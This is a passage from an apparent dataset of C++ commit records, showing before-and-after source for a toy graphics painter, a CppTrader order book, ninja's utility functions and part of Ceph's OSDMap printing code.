Counterclockwise<commit_after>#include \"toy\/graph\/Brush.hpp\"\n#include \"toy\/graph\/Painter.hpp\"\n#include \"toy\/graph\/ModelBuffer.hpp\"\n#include \"toy\/graph\/Image.hpp\"\n\nusing namespace toy;\nusing namespace graph;\n\nPainter::Painter()\n{\n\tbool err = false;\n\t_brush = std::make_shared<toy::graph::Brush>(toy::WHATEVER,&err);\n\n\tif ( err==false )\n\t{\n\t\ttoy::Oops(TOY_MARK);\n\t\tthrow std::runtime_error(\"Painter can't build brush\");\n\t}\n}\n\nPainter::Painter(std::shared_ptr<Brush> brush):_brush(brush)\n{\n\t;\n}\n\nPainter::~Painter()\n{\n\t;\n}\n\nauto Painter::brush()->std::shared_ptr<Brush>\n{\n\treturn _brush;\n}\n\nauto Painter::newTexture(const toy::ImageBuffer &image)->::toy::graph::Texture\n{\n\tauto   texture = _brush->newTexture(image);\n\n\t\/*\n\t * Maybe I have to implement something like this.\n\t * texture->addBrush(_brush);\n\t *\/\n\n\treturn texture;\n}\n\nauto Painter::newImage(float x, float y,float width,float height,toy::graph::Texture id)->std::shared_ptr<toy::graph::Image>\n{\n\tstd::vector<toy::graph::VertexBuffer>  vbuffer(4);\n\n\tvbuffer[0].setPosition(x, y, 0);\n\tvbuffer[0].setVector(0.0,0.0,1.0);\n\tvbuffer[0].setTexture(0.0,0.0);\n\n\tvbuffer[1].setPosition(x, height+y, 0);\n\tvbuffer[1].setVector(0.0,0.0,1.0);\n\tvbuffer[1].setTexture(0.0,1.0);\n\n\tvbuffer[2].setPosition(width+x, height+y, 0);\n\tvbuffer[2].setVector(0.0,0.0,1.0);\n\tvbuffer[2].setTexture(1.0,1.0);\n\n\tvbuffer[3].setPosition(width+x, y, 0);\n\tvbuffer[3].setVector(0.0,0.0,1.0);\n\tvbuffer[3].setTexture(1.0,0.0);\n\n\ttoy::graph::ModelBuffer   modelBuffer(_brush);\n\n\tmodelBuffer.setShape(vbuffer);\n\tmodelBuffer.setIndices({0,2,1,0,3,2});\n\n\tauto   image = std::make_shared<toy::graph::Image>(_brush);\n\n\timage->setModel(modelBuffer);\n\timage->setTexture(id);\n\n\treturn image;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*!\n    \\file order_book.cpp\n    \\brief Order book implementation\n    \\author Ivan Shynkarenka\n    \\date 02.08.2017\n    \\copyright MIT License\n*\/\n\n#include \"trader\/order_book.h\"\n\nnamespace CppTrader {\n\nOrderBook::~OrderBook()\n{\n    \/\/ Release bid price levels\n    for (auto& bid : _bids)\n        _level_pool.Release(&bid);\n    _bids.clear();\n\n    \/\/ Release ask price levels\n    for (auto& ask : _asks)\n        _level_pool.Release(&ask);\n    _asks.clear();\n}\n\nLevel* OrderBook::FindLevel(OrderSide side, uint64_t price) noexcept\n{\n    Level required(price);\n\n    if (side == OrderSide::BUY)\n    {\n        \/\/ Try to find required price level in the bid collection\n        auto it = _bids.find(required);\n        if (it != _bids.end())\n            return it.operator->();\n        else\n            return nullptr;\n    }\n    else\n    {\n        \/\/ Try to find required price level in the ask collection\n        auto it = _asks.find(required);\n        if (it != _asks.end())\n            return it.operator->();\n        else\n            return nullptr;\n    }\n}\n\nLevel* OrderBook::AddLevel(Order* order_ptr)\n{\n    \/\/ Create a new price level\n    Level* level_ptr = _level_pool.Create(order_ptr->Price);\n\n    if (order_ptr->Side == OrderSide::BUY)\n    {\n        \/\/ Insert the price level into the bid collection\n        _bids.insert(*level_ptr);\n\n        \/\/ Update best bid price level\n        if ((_best_bid == nullptr) || (level_ptr->Price > _best_bid->Price))\n            _best_bid = level_ptr;\n    }\n    else\n    {\n        \/\/ Insert the price level into the ask collection\n        _asks.insert(*level_ptr);\n\n        \/\/ Update best ask price level\n        if ((_best_ask == nullptr) || (level_ptr->Price < _best_ask->Price))\n            _best_ask = level_ptr;\n    }\n\n    return level_ptr;\n}\n\nLevel* OrderBook::DeleteLevel(Order* order_ptr, Level* level_ptr)\n{\n    if (order_ptr->Side == OrderSide::BUY)\n    {\n        \/\/ Update best bid price level\n        if (level_ptr == _best_bid)\n            _best_bid = _best_bid->parent;\n\n        \/\/ Erase the price level from the bid collection\n        _bids.erase(Levels::iterator(&_bids, level_ptr));\n    }\n    else\n    {\n        \/\/ Update best ask price level\n        if (level_ptr == _best_ask)\n            _best_ask = _best_ask->parent;\n\n        \/\/ Erase the price level from the ask collection\n        _asks.erase(Levels::iterator(&_asks, level_ptr));\n    }\n\n    \/\/ Release the price level\n    _level_pool.Release(level_ptr);\n\n    \/\/ Clear the price level in the given order\n    order_ptr->_level = nullptr;\n\n    return nullptr;\n}\n\nstd::pair<Level*, bool> OrderBook::AddOrder(Order* order_ptr)\n{\n    \/\/ Find the price level for the order\n    Level* level_ptr = FindLevel(order_ptr->Side, order_ptr->Price);\n\n    \/\/ Create a new price level if no one found\n    if (level_ptr == nullptr)\n        level_ptr = AddLevel(order_ptr);\n\n    \/\/ Update the price level volume\n    level_ptr->Volume += order_ptr->Quantity;\n\n    \/\/ Link the new order to the orders list of the price level\n    level_ptr->Orders.push_back(*order_ptr);\n\n    \/\/ Cache the price level in the given order\n    order_ptr->_level = level_ptr;\n\n    \/\/ Price level was changed. Return top of the book modification flag.\n    return std::make_pair(level_ptr, (level_ptr == ((order_ptr->Side == OrderSide::BUY) ? _best_bid : _best_ask)));\n}\n\nstd::pair<Level*, bool> OrderBook::ReduceOrder(Order* order_ptr, uint64_t quantity)\n{\n    \/\/ Find the price level for the order\n    Level* level_ptr = order_ptr->_level;\n\n    \/\/ Reduce the order in the price level\n    if (level_ptr != nullptr)\n    {\n        \/\/ Update the price level volume\n        level_ptr->Volume -= quantity;\n\n        \/\/ Unlink the empty order from the orders list of the price level\n        if (order_ptr->Quantity == 0)\n            level_ptr->Orders.pop_current(*order_ptr);\n\n        \/\/ Delete the empty price level\n        if (level_ptr->Volume == 0)\n            level_ptr = DeleteLevel(order_ptr, level_ptr);\n\n        \/\/ Price level was changed. Return top of the book modification flag.\n        return std::make_pair(level_ptr, (level_ptr == ((order_ptr->Side == OrderSide::BUY) ? _best_bid : _best_ask)));\n    }\n\n    \/\/ Price level was not changed\n    return std::make_pair(nullptr, false);\n}\n\nstd::pair<Level*, bool> OrderBook::DeleteOrder(Order* order_ptr)\n{\n    \/\/ Find the price level for the order\n    Level* level_ptr = order_ptr->_level;\n\n    \/\/ Delete the order from the price level\n    if (level_ptr != nullptr)\n    {\n        \/\/ Update the price level volume\n        level_ptr->Volume -= order_ptr->Quantity;\n\n        \/\/ Unlink the order from the orders list of the price level\n        level_ptr->Orders.pop_current(*order_ptr);\n\n        \/\/ Delete the empty price level\n        if (level_ptr->Volume == 0)\n            level_ptr = DeleteLevel(order_ptr, level_ptr);\n\n        \/\/ Price level was changed. Return top of the book modification flag.\n        return std::make_pair(level_ptr, (level_ptr == ((order_ptr->Side == OrderSide::BUY) ? _best_bid : _best_ask)));\n    }\n\n    \/\/ Price level was not changed\n    return std::make_pair(nullptr, false);\n}\n\n} \/\/ namespace CppTrader\n<commit_msg>Submodule Sync<commit_after>\/*!\n    \\file order_book.cpp\n    \\brief Order book implementation\n    \\author Ivan Shynkarenka\n    \\date 02.08.2017\n    \\copyright MIT License\n*\/\n\n#include \"trader\/order_book.h\"\n\nnamespace CppTrader {\n\nOrderBook::~OrderBook()\n{\n    \/\/ Release bid price levels\n    for (auto& bid : _bids)\n        _level_pool.Release(&bid);\n    _bids.clear();\n\n    \/\/ Release ask price levels\n    for (auto& ask : _asks)\n        _level_pool.Release(&ask);\n    _asks.clear();\n}\n\nLevel* OrderBook::FindLevel(OrderSide side, uint64_t price) noexcept\n{\n    if (side == OrderSide::BUY)\n    {\n        \/\/ Try to find required price level in the bid collection\n        auto it = _bids.find(Level(price));\n        if (it != _bids.end())\n            return it.operator->();\n        else\n            return nullptr;\n    }\n    else\n    {\n        \/\/ Try to find required price level in the ask collection\n        auto it = _asks.find(Level(price));\n        if (it != _asks.end())\n            return it.operator->();\n        else\n            return nullptr;\n    }\n}\n\nLevel* OrderBook::AddLevel(Order* order_ptr)\n{\n    \/\/ Create a new price level\n    Level* level_ptr = _level_pool.Create(order_ptr->Price);\n\n    if (order_ptr->Side == OrderSide::BUY)\n    {\n        \/\/ Insert the price level into the bid collection\n        _bids.insert(*level_ptr);\n\n        \/\/ Update best bid price level\n        if ((_best_bid == nullptr) || (level_ptr->Price > _best_bid->Price))\n            _best_bid = level_ptr;\n    }\n    else\n    {\n        \/\/ Insert the price level into the ask collection\n        _asks.insert(*level_ptr);\n\n        \/\/ Update best ask price level\n        if ((_best_ask == nullptr) || (level_ptr->Price < _best_ask->Price))\n            _best_ask = level_ptr;\n    }\n\n    return level_ptr;\n}\n\nLevel* OrderBook::DeleteLevel(Order* order_ptr, Level* level_ptr)\n{\n    if (order_ptr->Side == OrderSide::BUY)\n    {\n        \/\/ Update best bid price level\n        if (level_ptr == _best_bid)\n            _best_bid = _best_bid->parent;\n\n        \/\/ Erase the price level from the bid collection\n        _bids.erase(Levels::iterator(&_bids, level_ptr));\n    }\n    else\n    {\n        \/\/ Update best ask price level\n        if (level_ptr == _best_ask)\n            _best_ask = _best_ask->parent;\n\n        \/\/ Erase the price level from the ask collection\n        _asks.erase(Levels::iterator(&_asks, level_ptr));\n    }\n\n    \/\/ Release the price level\n    _level_pool.Release(level_ptr);\n\n    \/\/ Clear the price level in the given order\n    order_ptr->_level = nullptr;\n\n    return nullptr;\n}\n\nstd::pair<Level*, bool> OrderBook::AddOrder(Order* order_ptr)\n{\n    \/\/ Find the price level for the order\n    Level* level_ptr = FindLevel(order_ptr->Side, order_ptr->Price);\n\n    \/\/ Create a new price level if no one found\n    if (level_ptr == nullptr)\n        level_ptr = AddLevel(order_ptr);\n\n    \/\/ Update the price level volume\n    level_ptr->Volume += order_ptr->Quantity;\n\n    \/\/ Link the new order to the orders list of the price level\n    level_ptr->Orders.push_back(*order_ptr);\n\n    \/\/ Cache the price level in the given order\n    order_ptr->_level = level_ptr;\n\n    \/\/ Price level was changed. Return top of the book modification flag.\n    return std::make_pair(level_ptr, (level_ptr == ((order_ptr->Side == OrderSide::BUY) ? _best_bid : _best_ask)));\n}\n\nstd::pair<Level*, bool> OrderBook::ReduceOrder(Order* order_ptr, uint64_t quantity)\n{\n    \/\/ Find the price level for the order\n    Level* level_ptr = order_ptr->_level;\n\n    \/\/ Reduce the order in the price level\n    if (level_ptr != nullptr)\n    {\n        \/\/ Update the price level volume\n        level_ptr->Volume -= quantity;\n\n        \/\/ Unlink the empty order from the orders list of the price level\n        if (order_ptr->Quantity == 0)\n            level_ptr->Orders.pop_current(*order_ptr);\n\n        \/\/ Delete the empty price level\n        if (level_ptr->Volume == 0)\n            level_ptr = DeleteLevel(order_ptr, level_ptr);\n\n        \/\/ Price level was changed. Return top of the book modification flag.\n        return std::make_pair(level_ptr, (level_ptr == ((order_ptr->Side == OrderSide::BUY) ? _best_bid : _best_ask)));\n    }\n\n    \/\/ Price level was not changed\n    return std::make_pair(nullptr, false);\n}\n\nstd::pair<Level*, bool> OrderBook::DeleteOrder(Order* order_ptr)\n{\n    \/\/ Find the price level for the order\n    Level* level_ptr = order_ptr->_level;\n\n    \/\/ Delete the order from the price level\n    if (level_ptr != nullptr)\n    {\n        \/\/ Update the price level volume\n        level_ptr->Volume -= order_ptr->Quantity;\n\n        \/\/ Unlink the order from the orders list of the price level\n        level_ptr->Orders.pop_current(*order_ptr);\n\n        \/\/ Delete the empty price level\n        if (level_ptr->Volume == 0)\n            level_ptr = DeleteLevel(order_ptr, level_ptr);\n\n        \/\/ Price level was changed. Return top of the book modification flag.\n        return std::make_pair(level_ptr, (level_ptr == ((order_ptr->Side == OrderSide::BUY) ? _best_bid : _best_ask)));\n    }\n\n    \/\/ Price level was not changed\n    return std::make_pair(nullptr, false);\n}\n\n} \/\/ namespace CppTrader\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2011 Google Inc. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"util.h\"\n\n#ifdef _WIN32\n#include <windows.h>\n#include <io.h>\n#endif\n\n#include <errno.h>\n#include <fcntl.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n\n#ifndef _WIN32\n#include <sys\/time.h>\n#endif\n\n#include <vector>\n\n#ifdef _WIN32\n#include <direct.h>  \/\/ _mkdir\n#endif\n\n#include \"edit_distance.h\"\n#include \"metrics.h\"\n\nvoid Fatal(const char* msg, ...) {\n  va_list ap;\n  fprintf(stderr, \"ninja: fatal: \");\n  va_start(ap, msg);\n  vfprintf(stderr, msg, ap);\n  va_end(ap);\n  fprintf(stderr, \"\\n\");\n#ifdef _WIN32\n  \/\/ On Windows, some tools may inject extra threads.\n  \/\/ exit() may block on locks held by those threads, so forcibly exit.\n  fflush(stderr);\n  fflush(stdout);\n  ExitProcess(1);\n#else\n  exit(1);\n#endif\n}\n\nvoid Warning(const char* msg, ...) {\n  va_list ap;\n  fprintf(stderr, \"ninja: warning: \");\n  va_start(ap, msg);\n  vfprintf(stderr, msg, ap);\n  va_end(ap);\n  fprintf(stderr, \"\\n\");\n}\n\nvoid Error(const char* msg, ...) {\n  va_list ap;\n  fprintf(stderr, \"ninja: error: \");\n  va_start(ap, msg);\n  vfprintf(stderr, msg, ap);\n  va_end(ap);\n  fprintf(stderr, \"\\n\");\n}\n\nbool CanonicalizePath(string* path, string* err) {\n  METRIC_RECORD(\"canonicalize str\");\n  int len = path->size();\n  char* str = 0;\n  if (len > 0)\n    str = &(*path)[0];\n  if (!CanonicalizePath(str, &len, err))\n    return false;\n  path->resize(len);\n  return true;\n}\n\nbool CanonicalizePath(char* path, int* len, string* err) {\n  \/\/ WARNING: this function is performance-critical; please benchmark\n  \/\/ any changes you make to it.\n  METRIC_RECORD(\"canonicalize path\");\n  if (*len == 0) {\n    *err = \"empty path\";\n    return false;\n  }\n\n  const int kMaxPathComponents = 30;\n  char* components[kMaxPathComponents];\n  int component_count = 0;\n\n  char* start = path;\n  char* dst = start;\n  const char* src = start;\n  const char* end = start + *len;\n\n  if (*src == '\/') {\n    ++src;\n    ++dst;\n  }\n\n  while (src < end) {\n    if (*src == '.') {\n      if (src + 1 == end || src[1] == '\/') {\n        \/\/ '.' component; eliminate.\n        src += 2;\n        continue;\n      } else if (src[1] == '.' && (src + 2 == end || src[2] == '\/')) {\n        \/\/ '..' component.  Back up if possible.\n        if (component_count > 0) {\n          dst = components[component_count - 1];\n          src += 3;\n          --component_count;\n        } else {\n          *dst++ = *src++;\n          *dst++ = *src++;\n          *dst++ = *src++;\n        }\n        continue;\n      }\n    }\n\n    if (*src == '\/') {\n      src++;\n      continue;\n    }\n\n    if (component_count == kMaxPathComponents)\n      Fatal(\"path has too many components\");\n    components[component_count] = dst;\n    ++component_count;\n\n    while (*src != '\/' && src != end)\n      *dst++ = *src++;\n    *dst++ = *src++;  \/\/ Copy '\/' or final \\0 character as well.\n  }\n\n  if (dst == start) {\n    *err = \"path canonicalizes to the empty path\";\n    return false;\n  }\n\n  *len = dst - start - 1;\n  return true;\n}\n\nint MakeDir(const string& path) {\n#ifdef _WIN32\n  return _mkdir(path.c_str());\n#else\n  return mkdir(path.c_str(), 0777);\n#endif\n}\n\nint ReadFile(const string& path, string* contents, string* err) {\n  FILE* f = fopen(path.c_str(), \"r\");\n  if (!f) {\n    err->assign(strerror(errno));\n    return -errno;\n  }\n\n  char buf[64 << 10];\n  size_t len;\n  while ((len = fread(buf, 1, sizeof(buf), f)) > 0) {\n    contents->append(buf, len);\n  }\n  if (ferror(f)) {\n    err->assign(strerror(errno));  \/\/ XXX errno?\n    contents->clear();\n    fclose(f);\n    return -errno;\n  }\n  fclose(f);\n  return 0;\n}\n\nvoid SetCloseOnExec(int fd) {\n#ifndef _WIN32\n  int flags = fcntl(fd, F_GETFD);\n  if (flags < 0) {\n    perror(\"fcntl(F_GETFD)\");\n  } else {\n    if (fcntl(fd, F_SETFD, flags | FD_CLOEXEC) < 0)\n      perror(\"fcntl(F_SETFD)\");\n  }\n#else\n  HANDLE hd = (HANDLE) _get_osfhandle(fd);\n  if (! SetHandleInformation(hd, HANDLE_FLAG_INHERIT, 0)) {\n    fprintf(stderr, \"SetHandleInformation(): %s\", GetLastErrorString().c_str());\n  }\n#endif  \/\/ ! _WIN32\n}\n\n\nconst char* SpellcheckStringV(const string& text,\n                              const vector<const char*>& words) {\n  const bool kAllowReplacements = true;\n  const int kMaxValidEditDistance = 3;\n\n  int min_distance = kMaxValidEditDistance + 1;\n  const char* result = NULL;\n  for (vector<const char*>::const_iterator i = words.begin();\n       i != words.end(); ++i) {\n    int distance = EditDistance(*i, text, kAllowReplacements,\n                                kMaxValidEditDistance);\n    if (distance < min_distance) {\n      min_distance = distance;\n      result = *i;\n    }\n  }\n  return result;\n}\n\nconst char* SpellcheckString(const string& text, ...) {\n  va_list ap;\n  va_start(ap, text);\n  vector<const char*> words;\n  const char* word;\n  while ((word = va_arg(ap, const char*)))\n    words.push_back(word);\n  return SpellcheckStringV(text, words);\n}\n\n#ifdef _WIN32\nstring GetLastErrorString() {\n  DWORD err = GetLastError();\n\n  char* msg_buf;\n  FormatMessageA(\n        FORMAT_MESSAGE_ALLOCATE_BUFFER |\n        FORMAT_MESSAGE_FROM_SYSTEM |\n        FORMAT_MESSAGE_IGNORE_INSERTS,\n        NULL,\n        err,\n        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n        (char*)&msg_buf,\n        0,\n        NULL);\n  string msg = msg_buf;\n  LocalFree(msg_buf);\n  return msg;\n}\n#endif\n\nstatic bool islatinalpha(int c) {\n  \/\/ isalpha() is locale-dependent.\n  return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z');\n}\n\nstring StripAnsiEscapeCodes(const string& in) {\n  string stripped;\n  stripped.reserve(in.size());\n\n  for (size_t i = 0; i < in.size(); ++i) {\n    if (in[i] != '\\33') {\n      \/\/ Not an escape code.\n      stripped.push_back(in[i]);\n      continue;\n    }\n\n    \/\/ Only strip CSIs for now.\n    if (i + 1 >= in.size()) break;\n    if (in[i + 1] != '[') continue;  \/\/ Not a CSI.\n    i += 2;\n\n    \/\/ Skip everything up to and including the next [a-zA-Z].\n    while (i < in.size() && !islatinalpha(in[i]))\n      ++i;\n  }\n  return stripped;\n}\n\n#ifdef _WIN32\nstatic double GetLoadAverage_win32()\n{\n  \/\/ TODO(nicolas.despres@gmail.com): Find a way to implement it on Windows.\n  return -0.0f;\n}\n#else\nstatic double GetLoadAverage_unix()\n{\n  double loadavg[3] = { 0.0f, 0.0f, 0.0f };\n  if (getloadavg(loadavg, 3) < 0)\n  {\n    \/\/ Maybe we should return an error here or the availability of\n    \/\/ getloadavg(3) should be checked when ninja is configured.\n    return -0.0f;\n  }\n  return loadavg[0];\n}\n#endif \/\/ _WIN32\n\ndouble GetLoadAverage()\n{\n#ifdef _WIN32\n  return GetLoadAverage_win32();\n#else\n  return GetLoadAverage_unix();\n#endif \/\/ _WIN32\n}\n<commit_msg>simplify load-average code<commit_after>\/\/ Copyright 2011 Google Inc. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"util.h\"\n\n#ifdef _WIN32\n#include <windows.h>\n#include <io.h>\n#endif\n\n#include <errno.h>\n#include <fcntl.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n\n#ifndef _WIN32\n#include <sys\/time.h>\n#endif\n\n#include <vector>\n\n#ifdef _WIN32\n#include <direct.h>  \/\/ _mkdir\n#endif\n\n#include \"edit_distance.h\"\n#include \"metrics.h\"\n\nvoid Fatal(const char* msg, ...) {\n  va_list ap;\n  fprintf(stderr, \"ninja: fatal: \");\n  va_start(ap, msg);\n  vfprintf(stderr, msg, ap);\n  va_end(ap);\n  fprintf(stderr, \"\\n\");\n#ifdef _WIN32\n  \/\/ On Windows, some tools may inject extra threads.\n  \/\/ exit() may block on locks held by those threads, so forcibly exit.\n  fflush(stderr);\n  fflush(stdout);\n  ExitProcess(1);\n#else\n  exit(1);\n#endif\n}\n\nvoid Warning(const char* msg, ...) {\n  va_list ap;\n  fprintf(stderr, \"ninja: warning: \");\n  va_start(ap, msg);\n  vfprintf(stderr, msg, ap);\n  va_end(ap);\n  fprintf(stderr, \"\\n\");\n}\n\nvoid Error(const char* msg, ...) {\n  va_list ap;\n  fprintf(stderr, \"ninja: error: \");\n  va_start(ap, msg);\n  vfprintf(stderr, msg, ap);\n  va_end(ap);\n  fprintf(stderr, \"\\n\");\n}\n\nbool CanonicalizePath(string* path, string* err) {\n  METRIC_RECORD(\"canonicalize str\");\n  int len = path->size();\n  char* str = 0;\n  if (len > 0)\n    str = &(*path)[0];\n  if (!CanonicalizePath(str, &len, err))\n    return false;\n  path->resize(len);\n  return true;\n}\n\nbool CanonicalizePath(char* path, int* len, string* err) {\n  \/\/ WARNING: this function is performance-critical; please benchmark\n  \/\/ any changes you make to it.\n  METRIC_RECORD(\"canonicalize path\");\n  if (*len == 0) {\n    *err = \"empty path\";\n    return false;\n  }\n\n  const int kMaxPathComponents = 30;\n  char* components[kMaxPathComponents];\n  int component_count = 0;\n\n  char* start = path;\n  char* dst = start;\n  const char* src = start;\n  const char* end = start + *len;\n\n  if (*src == '\/') {\n    ++src;\n    ++dst;\n  }\n\n  while (src < end) {\n    if (*src == '.') {\n      if (src + 1 == end || src[1] == '\/') {\n        \/\/ '.' component; eliminate.\n        src += 2;\n        continue;\n      } else if (src[1] == '.' && (src + 2 == end || src[2] == '\/')) {\n        \/\/ '..' component.  Back up if possible.\n        if (component_count > 0) {\n          dst = components[component_count - 1];\n          src += 3;\n          --component_count;\n        } else {\n          *dst++ = *src++;\n          *dst++ = *src++;\n          *dst++ = *src++;\n        }\n        continue;\n      }\n    }\n\n    if (*src == '\/') {\n      src++;\n      continue;\n    }\n\n    if (component_count == kMaxPathComponents)\n      Fatal(\"path has too many components\");\n    components[component_count] = dst;\n    ++component_count;\n\n    while (*src != '\/' && src != end)\n      *dst++ = *src++;\n    *dst++ = *src++;  \/\/ Copy '\/' or final \\0 character as well.\n  }\n\n  if (dst == start) {\n    *err = \"path canonicalizes to the empty path\";\n    return false;\n  }\n\n  *len = dst - start - 1;\n  return true;\n}\n\nint MakeDir(const string& path) {\n#ifdef _WIN32\n  return _mkdir(path.c_str());\n#else\n  return mkdir(path.c_str(), 0777);\n#endif\n}\n\nint ReadFile(const string& path, string* contents, string* err) {\n  FILE* f = fopen(path.c_str(), \"r\");\n  if (!f) {\n    err->assign(strerror(errno));\n    return -errno;\n  }\n\n  char buf[64 << 10];\n  size_t len;\n  while ((len = fread(buf, 1, sizeof(buf), f)) > 0) {\n    contents->append(buf, len);\n  }\n  if (ferror(f)) {\n    err->assign(strerror(errno));  \/\/ XXX errno?\n    contents->clear();\n    fclose(f);\n    return -errno;\n  }\n  fclose(f);\n  return 0;\n}\n\nvoid SetCloseOnExec(int fd) {\n#ifndef _WIN32\n  int flags = fcntl(fd, F_GETFD);\n  if (flags < 0) {\n    perror(\"fcntl(F_GETFD)\");\n  } else {\n    if (fcntl(fd, F_SETFD, flags | FD_CLOEXEC) < 0)\n      perror(\"fcntl(F_SETFD)\");\n  }\n#else\n  HANDLE hd = (HANDLE) _get_osfhandle(fd);\n  if (! SetHandleInformation(hd, HANDLE_FLAG_INHERIT, 0)) {\n    fprintf(stderr, \"SetHandleInformation(): %s\", GetLastErrorString().c_str());\n  }\n#endif  \/\/ ! _WIN32\n}\n\n\nconst char* SpellcheckStringV(const string& text,\n                              const vector<const char*>& words) {\n  const bool kAllowReplacements = true;\n  const int kMaxValidEditDistance = 3;\n\n  int min_distance = kMaxValidEditDistance + 1;\n  const char* result = NULL;\n  for (vector<const char*>::const_iterator i = words.begin();\n       i != words.end(); ++i) {\n    int distance = EditDistance(*i, text, kAllowReplacements,\n                                kMaxValidEditDistance);\n    if (distance < min_distance) {\n      min_distance = distance;\n      result = *i;\n    }\n  }\n  return result;\n}\n\nconst char* SpellcheckString(const string& text, ...) {\n  va_list ap;\n  va_start(ap, text);\n  vector<const char*> words;\n  const char* word;\n  while ((word = va_arg(ap, const char*)))\n    words.push_back(word);\n  return SpellcheckStringV(text, words);\n}\n\n#ifdef _WIN32\nstring GetLastErrorString() {\n  DWORD err = GetLastError();\n\n  char* msg_buf;\n  FormatMessageA(\n        FORMAT_MESSAGE_ALLOCATE_BUFFER |\n        FORMAT_MESSAGE_FROM_SYSTEM |\n        FORMAT_MESSAGE_IGNORE_INSERTS,\n        NULL,\n        err,\n        MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),\n        (char*)&msg_buf,\n        0,\n        NULL);\n  string msg = msg_buf;\n  LocalFree(msg_buf);\n  return msg;\n}\n#endif\n\nstatic bool islatinalpha(int c) {\n  \/\/ isalpha() is locale-dependent.\n  return (c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z');\n}\n\nstring StripAnsiEscapeCodes(const string& in) {\n  string stripped;\n  stripped.reserve(in.size());\n\n  for (size_t i = 0; i < in.size(); ++i) {\n    if (in[i] != '\\33') {\n      \/\/ Not an escape code.\n      stripped.push_back(in[i]);\n      continue;\n    }\n\n    \/\/ Only strip CSIs for now.\n    if (i + 1 >= in.size()) break;\n    if (in[i + 1] != '[') continue;  \/\/ Not a CSI.\n    i += 2;\n\n    \/\/ Skip everything up to and including the next [a-zA-Z].\n    while (i < in.size() && !islatinalpha(in[i]))\n      ++i;\n  }\n  return stripped;\n}\n\n#ifdef _WIN32\ndouble GetLoadAverage() {\n  \/\/ TODO(nicolas.despres@gmail.com): Find a way to implement it on Windows.\n  return -0.0f;\n}\n#else\ndouble GetLoadAverage() {\n  double loadavg[3] = { 0.0f, 0.0f, 0.0f };\n  if (getloadavg(loadavg, 3) < 0) {\n    \/\/ Maybe we should return an error here or the availability of\n    \/\/ getloadavg(3) should be checked when ninja is configured.\n    return -0.0f;\n  }\n  return loadavg[0];\n}\n#endif \/\/ _WIN32\n<|endoftext|>"}
{"text":"<commit_before>\/\/ -*- mode:C++; tab-width:8; c-basic-offset:2; indent-tabs-mode:t -*- \n\/\/ vim: ts=8 sw=2 smarttab\n\/*\n * Ceph - scalable distributed file system\n *\n * Copyright (C) 2004-2006 Sage Weil <sage@newdream.net>\n *\n * This is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software \n * Foundation.  See file COPYING.\n * \n *\/\n\n#include \"OSDMap.h\"\n\n#include \"config.h\"\n\n\n\nvoid OSDMap::print(ostream& out)\n{\n  out << \"epoch \" << get_epoch() << \"\\n\"\n      << \"fsid \" << get_fsid() << \"\\n\"\n      << \"created \" << get_created() << \"\\n\"\n      << \"modifed \" << get_modified() << \"\\n\"\n      << std::endl;\n  for (map<int,pg_pool_t>::iterator p = pools.begin(); p != pools.end(); p++) {\n    out << \"pg_pool \" << p->first\n\t<< \" '\" << pool_name[p->first]\n\t<< \"' \" << p->second << \"\\n\";\n    for (map<snapid_t,pool_snap_info_t>::iterator q = p->second.snaps.begin();\n\t q != p->second.snaps.end();\n\t q++)\n      out << \"\\tsnap \" << q->second.snapid << \" '\" << q->second.name << \"' \" << q->second.stamp << \"\\n\";\n    if (!p->second.removed_snaps.empty())\n      out << \"\\tremoved_snaps \" << p->second.removed_snaps << \"\\n\";\n  }\n  out << std::endl;\n\n  out << \"max_osd \" << get_max_osd() << \"\\n\";\n  for (int i=0; i<get_max_osd(); i++) {\n    if (exists(i)) {\n      out << \"osd\" << i;\n      out << (is_in(i) ? \" in\":\" out\");\n      if (is_in(i))\n\tout << \" weight \" << get_weightf(i);\n      out << (is_up(i) ? \" up  \":\" down\");\n      osd_info_t& info = get_info(i);\n      out << \" (up_from \" << info.up_from\n\t  << \" up_thru \" << info.up_thru\n\t  << \" down_at \" << info.down_at\n\t  << \" last_clean \" << info.last_clean_first << \"-\" << info.last_clean_last << \")\";\n      if (is_up(i))\n\tout << \" \" << get_addr(i) << \" \" << get_hb_addr(i);\n      out << \"\\n\";\n    }\n  }\n  out << std::endl;\n\n  for (map<pg_t,vector<int> >::iterator p = pg_temp.begin();\n       p != pg_temp.end();\n       p++)\n    out << \"pg_temp \" << p->first << \" \" << p->second << \"\\n\";\n  \n  for (hash_map<entity_addr_t,utime_t>::iterator p = blacklist.begin();\n       p != blacklist.end();\n       p++)\n    out << \"blacklist \" << p->first << \" expires \" << p->second << \"\\n\";\n  \n  \/\/ ignore pg_swap_primary\n}\n\nvoid OSDMap::print_summary(ostream& out)\n{\n  out << \"e\" << get_epoch() << \": \"\n      << get_num_osds() << \" osds: \"\n      << 